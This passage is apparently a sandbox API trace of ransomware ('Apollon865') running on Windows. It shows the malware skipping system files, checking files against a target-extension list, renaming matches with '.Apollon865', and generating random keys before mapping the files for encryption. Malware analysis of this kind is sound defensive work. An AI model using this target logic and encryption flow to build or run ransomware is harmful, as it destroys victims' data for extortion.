	[0077.550] lstrlenW (lpString="pdb") returned 3
	[0077.550] lstrcmpiW (lpString1="msi", lpString2="pdb") returned -1
	[0077.550] lstrlenW (lpString="pdm") returned 3
	[0077.550] lstrcmpiW (lpString1="msi", lpString2="pdm") returned -1
	[0077.550] lstrlenW (lpString="pnz") returned 3
	[0077.550] lstrcmpiW (lpString1="msi", lpString2="pnz") returned -1
	[0077.550] lstrlenW (lpString="qry") returned 3
	[0077.550] lstrcmpiW (lpString1="msi", lpString2="qry") returned -1
	[0077.550] lstrlenW (lpString="qvd") returned 3
	[0077.550] lstrcmpiW (lpString1="msi", lpString2="qvd") returned -1
	[0077.550] lstrlenW (lpString="rbf") returned 3
	[0077.550] lstrcmpiW (lpString1="msi", lpString2="rbf") returned -1
	[0077.550] lstrlenW (lpString="rctd") returned 4
	[0077.550] lstrcmpiW (lpString1=".msi", lpString2="rctd") returned -1
	[0077.550] lstrlenW (lpString="rod") returned 3
	[0077.550] lstrcmpiW (lpString1="msi", lpString2="rod") returned -1
	[0077.550] lstrlenW (lpString="rodx") returned 4
	[0077.550] lstrcmpiW (lpString1=".msi", lpString2="rodx") returned -1
	[0077.550] lstrlenW (lpString="rpd") returned 3
	[0077.551] lstrcmpiW (lpString1="msi", lpString2="rpd") returned -1
	[0077.551] lstrlenW (lpString="rsd") returned 3
	[0077.551] lstrcmpiW (lpString1="msi", lpString2="rsd") returned -1
	[0077.551] lstrlenW (lpString="sas7bdat") returned 8
	[0077.551] lstrcmpiW (lpString1="32WW.msi", lpString2="sas7bdat") returned -1
	[0077.551] lstrlenW (lpString="sbf") returned 3
	[0077.551] lstrcmpiW (lpString1="msi", lpString2="sbf") returned -1
	[0077.551] lstrlenW (lpString="scx") returned 3
	[0077.551] lstrcmpiW (lpString1="msi", lpString2="scx") returned -1
	[0077.551] lstrlenW (lpString="sdb") returned 3
	[0077.551] lstrcmpiW (lpString1="msi", lpString2="sdb") returned -1
	[0077.551] lstrlenW (lpString="sdc") returned 3
	[0077.551] lstrcmpiW (lpString1="msi", lpString2="sdc") returned -1
	[0077.551] lstrlenW (lpString="sdf") returned 3
	[0077.551] lstrcmpiW (lpString1="msi", lpString2="sdf") returned -1
	[0077.551] lstrlenW (lpString="sis") returned 3
	[0077.551] lstrcmpiW (lpString1="msi", lpString2="sis") returned -1
	[0077.551] lstrlenW (lpString="spq") returned 3
	[0077.551] lstrcmpiW (lpString1="msi", lpString2="spq") returned -1
	[0077.551] lstrlenW (lpString="te") returned 2
	[0077.551] lstrcmpiW (lpString1="si", lpString2="te") returned -1
	[0077.551] lstrlenW (lpString="teacher") returned 7
	[0077.551] lstrcmpiW (lpString1="2WW.msi", lpString2="teacher") returned -1
	[0077.551] lstrlenW (lpString="tmd") returned 3
	[0077.551] lstrcmpiW (lpString1="msi", lpString2="tmd") returned -1
	[0077.551] lstrlenW (lpString="tps") returned 3
	[0077.551] lstrcmpiW (lpString1="msi", lpString2="tps") returned -1
	[0077.551] lstrlenW (lpString="trc") returned 3
	[0077.551] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1
	[0077.551] lstrlenW (lpString="trc") returned 3
	[0077.551] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1
	[0077.551] lstrlenW (lpString="trm") returned 3
	[0077.551] lstrcmpiW (lpString1="msi", lpString2="trm") returned -1
	[0077.551] lstrlenW (lpString="udb") returned 3
	[0077.551] lstrcmpiW (lpString1="msi", lpString2="udb") returned -1
	[0077.551] lstrlenW (lpString="udl") returned 3
	[0077.551] lstrcmpiW (lpString1="msi", lpString2="udl") returned -1
	[0077.551] lstrlenW (lpString="usr") returned 3
	[0077.552] lstrcmpiW (lpString1="msi", lpString2="usr") returned -1
	[0077.552] lstrlenW (lpString="v12") returned 3
	[0077.552] lstrcmpiW (lpString1="msi", lpString2="v12") returned -1
	[0077.552] lstrlenW (lpString="vis") returned 3
	[0077.552] lstrcmpiW (lpString1="msi", lpString2="vis") returned -1
	[0077.552] lstrlenW (lpString="vpd") returned 3
	[0077.552] lstrcmpiW (lpString1="msi", lpString2="vpd") returned -1
	[0077.552] lstrlenW (lpString="vvv") returned 3
	[0077.552] lstrcmpiW (lpString1="msi", lpString2="vvv") returned -1
	[0077.552] lstrlenW (lpString="wdb") returned 3
	[0077.552] lstrcmpiW (lpString1="msi", lpString2="wdb") returned -1
	[0077.552] lstrlenW (lpString="wmdb") returned 4
	[0077.552] lstrcmpiW (lpString1=".msi", lpString2="wmdb") returned -1
	[0077.552] lstrlenW (lpString="wrk") returned 3
	[0077.552] lstrcmpiW (lpString1="msi", lpString2="wrk") returned -1
	[0077.552] lstrlenW (lpString="xdb") returned 3
	[0077.552] lstrcmpiW (lpString1="msi", lpString2="xdb") returned -1
	[0077.552] lstrlenW (lpString="xld") returned 3
	[0077.552] lstrcmpiW (lpString1="msi", lpString2="xld") returned -1
	[0077.552] lstrlenW (lpString="xmlff") returned 5
	[0077.552] lstrcmpiW (lpString1="W.msi", lpString2="xmlff") returned -1
	[0077.552] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87abdaa0, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87abdaa0, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5cd2aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1
	[0077.552] lstrcmpiW (lpString1="Office32WW.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0077.552] lstrcmpiW (lpString1="Office32WW.xml", lpString2="Apollon865.txt.exe") returned 1
	[0077.552] lstrcmpiW (lpString1="Office32WW.xml", lpString2=".") returned 1
	[0077.552] lstrcmpiW (lpString1="Office32WW.xml", lpString2="..") returned 1
	[0077.552] lstrcmpiW (lpString1="Office32WW.xml", lpString2="windows") returned -1
	[0077.552] lstrcmpiW (lpString1="Office32WW.xml", lpString2="bootmgr") returned 1
	[0077.552] lstrcmpiW (lpString1="Office32WW.xml", lpString2="temp") returned -1
	[0077.552] lstrcmpiW (lpString1="Office32WW.xml", lpString2="pagefile.sys") returned -1
	[0077.552] lstrcmpiW (lpString1="Office32WW.xml", lpString2="boot") returned 1
	[0077.552] lstrcmpiW (lpString1="Office32WW.xml", lpString2="ids.txt") returned 1
	[0077.552] lstrcmpiW (lpString1="Office32WW.xml", lpString2="ntuser.dat") returned 1
	[0077.552] lstrcmpiW (lpString1="Office32WW.xml", lpString2="perflogs") returned -1
	[0077.552] lstrcmpiW (lpString1="Office32WW.xml", lpString2="MSBuild") returned 1
	[0077.552] lstrlenW (lpString="Office32WW.xml") returned 14
	[0077.553] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77
	[0077.553] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="Office32WW.xml" | out: lpString1="Office32WW.xml") returned="Office32WW.xml"
	[0077.553] lstrlenW (lpString="Office32WW.xml") returned 14
	[0077.553] lstrlenW (lpString="Apollon865") returned 10
	[0077.553] lstrcmpiW (lpString1="ce32WW.xml", lpString2="Apollon865") returned 1
	[0077.553] lstrlenW (lpString=".dll") returned 4
	[0077.553] lstrcmpiW (lpString1="Office32WW.xml", lpString2=".dll") returned 1
	[0077.553] lstrlenW (lpString=".lnk") returned 4
	[0077.553] lstrcmpiW (lpString1="Office32WW.xml", lpString2=".lnk") returned 1
	[0077.553] lstrlenW (lpString=".ini") returned 4
	[0077.553] lstrcmpiW (lpString1="Office32WW.xml", lpString2=".ini") returned 1
	[0077.553] lstrlenW (lpString=".sys") returned 4
	[0077.553] lstrcmpiW (lpString1="Office32WW.xml", lpString2=".sys") returned 1
	[0077.553] lstrlenW (lpString="Office32WW.xml") returned 14
	[0077.553] lstrlenW (lpString="bak") returned 3
	[0077.553] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0077.553] lstrlenW (lpString="ba_") returned 3
	[0077.553] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0077.553] lstrlenW (lpString="dbb") returned 3
	[0077.553] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0077.553] lstrlenW (lpString="vmdk") returned 4
	[0077.553] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0077.553] lstrlenW (lpString="rar") returned 3
	[0077.553] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0077.553] lstrlenW (lpString="zip") returned 3
	[0077.553] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0077.553] lstrlenW (lpString="tgz") returned 3
	[0077.553] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0077.553] lstrlenW (lpString="vbox") returned 4
	[0077.553] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0077.553] lstrlenW (lpString="vdi") returned 3
	[0077.553] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0077.553] lstrlenW (lpString="vhd") returned 3
	[0077.553] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0077.553] lstrlenW (lpString="vhdx") returned 4
	[0077.553] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0077.553] lstrlenW (lpString="avhd") returned 4
	[0077.554] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0077.554] lstrlenW (lpString="db") returned 2
	[0077.554] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0077.554] lstrlenW (lpString="db2") returned 3
	[0077.554] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0077.554] lstrlenW (lpString="db3") returned 3
	[0077.554] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0077.554] lstrlenW (lpString="dbf") returned 3
	[0077.554] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0077.554] lstrlenW (lpString="mdf") returned 3
	[0077.554] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0077.554] lstrlenW (lpString="mdb") returned 3
	[0077.554] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0077.554] lstrlenW (lpString="sql") returned 3
	[0077.554] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0077.554] lstrlenW (lpString="sqlite") returned 6
	[0077.554] lstrcmpiW (lpString1="WW.xml", lpString2="sqlite") returned 1
	[0077.554] lstrlenW (lpString="sqlite3") returned 7
	[0077.554] lstrcmpiW (lpString1="2WW.xml", lpString2="sqlite3") returned -1
	[0077.554] lstrlenW (lpString="sqlitedb") returned 8
	[0077.554] lstrcmpiW (lpString1="32WW.xml", lpString2="sqlitedb") returned -1
	[0077.554] lstrlenW (lpString="xml") returned 3
	[0077.554] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0077.554] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.Apollon865") returned 88
	[0077.554] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.apollon865"), dwFlags=0x1) returned 1
	[0077.555] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0077.555] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=4274) returned 1
	[0077.555] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0077.555] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0077.555] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bfde8
	[0077.556] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bfe70) returned 1
	[0077.556] CryptGenRandom (in: hProv=0x5bfe70, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0077.556] CryptReleaseContext (hProv=0x5bfe70, dwFlags=0x0) returned 1
	[0077.556] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13c0, lpName=0x0) returned 0x118
	[0077.558] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13c0) returned 0x100000
	[0077.559] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bfe70) returned 1
	[0077.559] CryptGenRandom (in: hProv=0x5bfe70, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0077.559] CryptReleaseContext (hProv=0x5bfe70, dwFlags=0x0) returned 1
	[0077.559] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0077.560] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0077.560] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0077.560] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0077.560] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0077.560] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0077.560] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0077.560] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0077.560] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0077.560] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0077.560] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0077.560] CloseHandle (hObject=0x118) returned 1
	[0077.560] CloseHandle (hObject=0x15c) returned 1
	[0077.560] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0077.560] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfde8 | out: hHeap=0x580000) returned 1
	[0077.560] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0077.560] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe57f8e0, ftCreationTime.dwHighDateTime=0x1cbe1cb, ftLastAccessTime.dwLowDateTime=0xfe57f8e0, ftLastAccessTime.dwHighDateTime=0x1cbe1cb, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1
	[0077.561] lstrcmpiW (lpString1="ose.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0077.561] lstrcmpiW (lpString1="ose.exe", lpString2="Apollon865.txt.exe") returned 1
	[0077.561] lstrcmpiW (lpString1="ose.exe", lpString2=".") returned 1
	[0077.561] lstrcmpiW (lpString1="ose.exe", lpString2="..") returned 1
	[0077.561] lstrcmpiW (lpString1="ose.exe", lpString2="windows") returned -1
	[0077.561] lstrcmpiW (lpString1="ose.exe", lpString2="bootmgr") returned 1
	[0077.561] lstrcmpiW (lpString1="ose.exe", lpString2="temp") returned -1
	[0077.561] lstrcmpiW (lpString1="ose.exe", lpString2="pagefile.sys") returned -1
	[0077.561] lstrcmpiW (lpString1="ose.exe", lpString2="boot") returned 1
	[0077.561] lstrcmpiW (lpString1="ose.exe", lpString2="ids.txt") returned 1
	[0077.561] lstrcmpiW (lpString1="ose.exe", lpString2="ntuser.dat") returned 1
	[0077.561] lstrcmpiW (lpString1="ose.exe", lpString2="perflogs") returned -1
	[0077.561] lstrcmpiW (lpString1="ose.exe", lpString2="MSBuild") returned 1
	[0077.561] lstrlenW (lpString="ose.exe") returned 7
	[0077.561] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0077.561] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="ose.exe" | out: lpString1="ose.exe") returned="ose.exe"
	[0077.561] lstrlenW (lpString="ose.exe") returned 7
	[0077.561] lstrlenW (lpString="Apollon865") returned 10
	[0077.561] lstrlenW (lpString=".dll") returned 4
	[0077.561] lstrcmpiW (lpString1="ose.exe", lpString2=".dll") returned 1
	[0077.561] lstrlenW (lpString=".lnk") returned 4
	[0077.561] lstrcmpiW (lpString1="ose.exe", lpString2=".lnk") returned 1
	[0077.561] lstrlenW (lpString=".ini") returned 4
	[0077.561] lstrcmpiW (lpString1="ose.exe", lpString2=".ini") returned 1
	[0077.561] lstrlenW (lpString=".sys") returned 4
	[0077.561] lstrcmpiW (lpString1="ose.exe", lpString2=".sys") returned 1
	[0077.561] lstrlenW (lpString="ose.exe") returned 7
	[0077.561] lstrlenW (lpString="bak") returned 3
	[0077.561] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1
	[0077.561] lstrlenW (lpString="ba_") returned 3
	[0077.561] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1
	[0077.561] lstrlenW (lpString="dbb") returned 3
	[0077.561] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1
	[0077.561] lstrlenW (lpString="vmdk") returned 4
	[0077.561] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1
	[0077.562] lstrlenW (lpString="rar") returned 3
	[0077.562] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1
	[0077.562] lstrlenW (lpString="zip") returned 3
	[0077.562] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1
	[0077.562] lstrlenW (lpString="tgz") returned 3
	[0077.562] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1
	[0077.562] lstrlenW (lpString="vbox") returned 4
	[0077.562] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1
	[0077.562] lstrlenW (lpString="vdi") returned 3
	[0077.562] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1
	[0077.562] lstrlenW (lpString="vhd") returned 3
	[0077.562] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1
	[0077.562] lstrlenW (lpString="vhdx") returned 4
	[0077.562] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1
	[0077.562] lstrlenW (lpString="avhd") returned 4
	[0077.562] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1
	[0077.562] lstrlenW (lpString="db") returned 2
	[0077.562] lstrcmpiW (lpString1="xe", lpString2="db") returned 1
	[0077.562] lstrlenW (lpString="db2") returned 3
	[0077.562] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1
	[0077.562] lstrlenW (lpString="db3") returned 3
	[0077.562] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1
	[0077.562] lstrlenW (lpString="dbf") returned 3
	[0077.562] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1
	[0077.562] lstrlenW (lpString="mdf") returned 3
	[0077.562] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1
	[0077.562] lstrlenW (lpString="mdb") returned 3
	[0077.562] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1
	[0077.562] lstrlenW (lpString="sql") returned 3
	[0077.562] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1
	[0077.562] lstrlenW (lpString="sqlite") returned 6
	[0077.562] lstrcmpiW (lpString1="se.exe", lpString2="sqlite") returned -1
	[0077.562] lstrlenW (lpString="sqlite3") returned 7
	[0077.562] lstrlenW (lpString="sqlitedb") returned 8
	[0077.562] lstrlenW (lpString="xml") returned 3
	[0077.562] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1
	[0077.562] lstrlenW (lpString="$er") returned 3
	[0077.563] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1
	[0077.563] lstrlenW (lpString="4dd") returned 3
	[0077.563] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1
	[0077.563] lstrlenW (lpString="4dl") returned 3
	[0077.563] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1
	[0077.563] lstrlenW (lpString="^^^") returned 3
	[0077.563] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1
	[0077.563] lstrlenW (lpString="abs") returned 3
	[0077.563] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1
	[0077.563] lstrlenW (lpString="abx") returned 3
	[0077.563] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1
	[0077.563] lstrlenW (lpString="accdb") returned 5
	[0077.563] lstrcmpiW (lpString1="e.exe", lpString2="accdb") returned 1
	[0077.563] lstrlenW (lpString="accdc") returned 5
	[0077.563] lstrcmpiW (lpString1="e.exe", lpString2="accdc") returned 1
	[0077.563] lstrlenW (lpString="accde") returned 5
	[0077.563] lstrcmpiW (lpString1="e.exe", lpString2="accde") returned 1
	[0077.563] lstrlenW (lpString="accdr") returned 5
	[0077.563] lstrcmpiW (lpString1="e.exe", lpString2="accdr") returned 1
	[0077.563] lstrlenW (lpString="accdt") returned 5
	[0077.563] lstrcmpiW (lpString1="e.exe", lpString2="accdt") returned 1
	[0077.563] lstrlenW (lpString="accdw") returned 5
	[0077.563] lstrcmpiW (lpString1="e.exe", lpString2="accdw") returned 1
	[0077.563] lstrlenW (lpString="accft") returned 5
	[0077.563] lstrcmpiW (lpString1="e.exe", lpString2="accft") returned 1
	[0077.563] lstrlenW (lpString="adb") returned 3
	[0077.563] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1
	[0077.563] lstrlenW (lpString="adb") returned 3
	[0077.563] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1
	[0077.563] lstrlenW (lpString="ade") returned 3
	[0077.563] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1
	[0077.563] lstrlenW (lpString="adf") returned 3
	[0077.563] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1
	[0077.564] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1
	[0077.564] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1
	[0077.564] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="osetup.dll" | out: lpString1="osetup.dll") returned="osetup.dll"
	[0077.564] lstrlenW (lpString="osetup.dll") returned 10
	[0077.564] lstrlenW (lpString="Apollon865") returned 10
	[0077.564] lstrlenW (lpString=".dll") returned 4
	[0077.564] lstrcmpiW (lpString1="osetup.dll", lpString2=".dll") returned 1
	[0077.564] lstrlenW (lpString=".lnk") returned 4
	[0077.564] lstrcmpiW (lpString1="osetup.dll", lpString2=".lnk") returned 1
	[0077.564] lstrlenW (lpString=".ini") returned 4
	[0077.564] lstrcmpiW (lpString1="osetup.dll", lpString2=".ini") returned 1
	[0077.564] lstrlenW (lpString=".sys") returned 4
	[0077.564] lstrcmpiW (lpString1="osetup.dll", lpString2=".sys") returned 1
	[0077.564] lstrlenW (lpString="osetup.dll") returned 10
	[0077.564] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="OWOW32WW.cab" | out: lpString1="OWOW32WW.cab") returned="OWOW32WW.cab"
	[0077.564] lstrlenW (lpString="OWOW32WW.cab") returned 12
	[0077.564] lstrlenW (lpString="Apollon865") returned 10
	[0077.564] lstrcmpiW (lpString1="OW32WW.cab", lpString2="Apollon865") returned 1
	[0077.564] lstrlenW (lpString=".dll") returned 4
	[0077.565] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2=".dll") returned 1
	[0077.565] lstrlenW (lpString=".lnk") returned 4
	[0077.565] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2=".lnk") returned 1
	[0077.565] lstrlenW (lpString=".ini") returned 4
	[0077.565] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2=".ini") returned 1
	[0077.565] lstrlenW (lpString=".sys") returned 4
	[0077.565] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2=".sys") returned 1
	[0077.565] lstrlenW (lpString="OWOW32WW.cab") returned 12
	[0077.565] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="PidGenX.dll" | out: lpString1="PidGenX.dll") returned="PidGenX.dll"
	[0077.565] lstrlenW (lpString="PidGenX.dll") returned 11
	[0077.565] lstrlenW (lpString="Apollon865") returned 10
	[0077.565] lstrcmpiW (lpString1="idGenX.dll", lpString2="Apollon865") returned 1
	[0077.565] lstrlenW (lpString=".dll") returned 4
	[0077.565] lstrcmpiW (lpString1="PidGenX.dll", lpString2=".dll") returned 1
	[0077.565] lstrlenW (lpString=".lnk") returned 4
	[0077.565] lstrcmpiW (lpString1="PidGenX.dll", lpString2=".lnk") returned 1
	[0077.565] lstrlenW (lpString=".ini") returned 4
	[0077.565] lstrcmpiW (lpString1="PidGenX.dll", lpString2=".ini") returned 1
	[0077.565] lstrlenW (lpString=".sys") returned 4
	[0077.565] lstrcmpiW (lpString1="PidGenX.dll", lpString2=".sys") returned 1
	[0077.565] lstrlenW (lpString="PidGenX.dll") returned 11
	[0077.565] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="pkeyconfig-office.xrm-ms" | out: lpString1="pkeyconfig-office.xrm-ms") returned="pkeyconfig-office.xrm-ms"
	[0077.565] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24
	[0077.565] lstrlenW (lpString="Apollon865") returned 10
	[0077.565] lstrcmpiW (lpString1="ice.xrm-ms", lpString2="Apollon865") returned 1
	[0077.565] lstrlenW (lpString=".dll") returned 4
	[0077.565] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2=".dll") returned 1
	[0077.565] lstrlenW (lpString=".lnk") returned 4
	[0077.565] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2=".lnk") returned 1
	[0077.565] lstrlenW (lpString=".ini") returned 4
	[0077.566] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2=".ini") returned 1
	[0077.566] lstrlenW (lpString=".sys") returned 4
	[0077.566] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2=".sys") returned 1
	[0077.566] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24
	[0077.566] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="PrjProrWW.msi" | out: lpString1="PrjProrWW.msi") returned="PrjProrWW.msi"
	[0077.566] lstrlenW (lpString="PrjProrWW.msi") returned 13
	[0077.566] lstrlenW (lpString="Apollon865") returned 10
	[0077.566] lstrcmpiW (lpString1="ProrWW.msi", lpString2="Apollon865") returned 1
	[0077.566] lstrlenW (lpString=".dll") returned 4
	[0077.566] lstrcmpiW (lpString1="PrjProrWW.msi", lpString2=".dll") returned 1
	[0077.566] lstrlenW (lpString=".lnk") returned 4
	[0077.566] lstrcmpiW (lpString1="PrjProrWW.msi", lpString2=".lnk") returned 1
	[0077.566] lstrlenW (lpString=".ini") returned 4
	[0077.566] lstrcmpiW (lpString1="PrjProrWW.msi", lpString2=".ini") returned 1
	[0077.566] lstrlenW (lpString=".sys") returned 4
	[0077.566] lstrcmpiW (lpString1="PrjProrWW.msi", lpString2=".sys") returned 1
	[0077.566] lstrlenW (lpString="PrjProrWW.msi") returned 13
	[0077.566] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="PrjProrWW.xml" | out: lpString1="PrjProrWW.xml") returned="PrjProrWW.xml"
	[0077.566] lstrlenW (lpString="PrjProrWW.xml") returned 13
	[0077.566] lstrlenW (lpString="Apollon865") returned 10
	[0077.566] lstrcmpiW (lpString1="ProrWW.xml", lpString2="Apollon865") returned 1
	[0077.566] lstrlenW (lpString=".dll") returned 4
	[0077.566] lstrcmpiW (lpString1="PrjProrWW.xml", lpString2=".dll") returned 1
	[0077.566] lstrlenW (lpString=".lnk") returned 4
	[0077.566] lstrcmpiW (lpString1="PrjProrWW.xml", lpString2=".lnk") returned 1
	[0077.566] lstrlenW (lpString=".ini") returned 4
	[0077.566] lstrcmpiW (lpString1="PrjProrWW.xml", lpString2=".ini") returned 1
	[0077.566] lstrlenW (lpString=".sys") returned 4
